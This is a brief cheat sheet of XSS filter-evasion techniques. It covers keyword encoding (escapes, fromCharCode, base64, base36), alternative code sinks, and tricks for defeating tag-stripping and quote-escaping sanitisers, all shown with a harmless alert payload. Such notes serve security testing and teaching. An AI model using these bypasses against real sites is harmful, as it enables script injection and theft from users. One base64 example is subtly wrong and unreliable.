Some filters try to detect common words used in XSS attacks such as alert, document, xhr, cookie etc...
Bypass by encoding
URL encoding, Unicode and CSS formats can be used directly inside HTML pages without needing native tools. These techniques can be combined with each other to form even more complex payloads
alert
\u0061lert
alert
alert
#the encoding formats below require the input to be in a string
eval('\141lert')
eval('\x61lert')
#useless escapte characters
eval('\a\l\e\rt(\1\)')
Bypass by constructing strings
alert
/ale/.source+/rt/.source
String.fromCharCode(97,108,101,114,116) #Hex unicode encoding
atob("YWxkcnQ=") #Base64 paylad
17795081..toString(36) #Convert the number on the left to a base36 string
Alternatives function sinks
setTimeout
setInterval
Function
[].constructor.constructor("[code]")
Sanification Bypass
Remove tags
<scr<script>ipt>...</script> #script might check only first instance
<scr<iframe>ipt>...</script> #recursive scripts might not start every iteration from the beginnig of the string
Escape quotes
eval(\'...\') #the filter replaces ' with \' so by adding \ we obtain \' --> \\'
String.fromCharCode(...) #generate string from sequence of unicode hex chars
unescape(/%78%u0073%73/.source) #decode escaped characters
decodeURI(/alert(%22...%22)/.source) #decode URL escaped chars
decodeURIComponent(/alert(%22...%22)/.source) #decode URL escaped chars
Escape parenthesis
By invoking the throw function it is possible to encode the parenthesis characters. Since the payload is in a string it is possible to use all the obfuscation techniques described in the Keywords section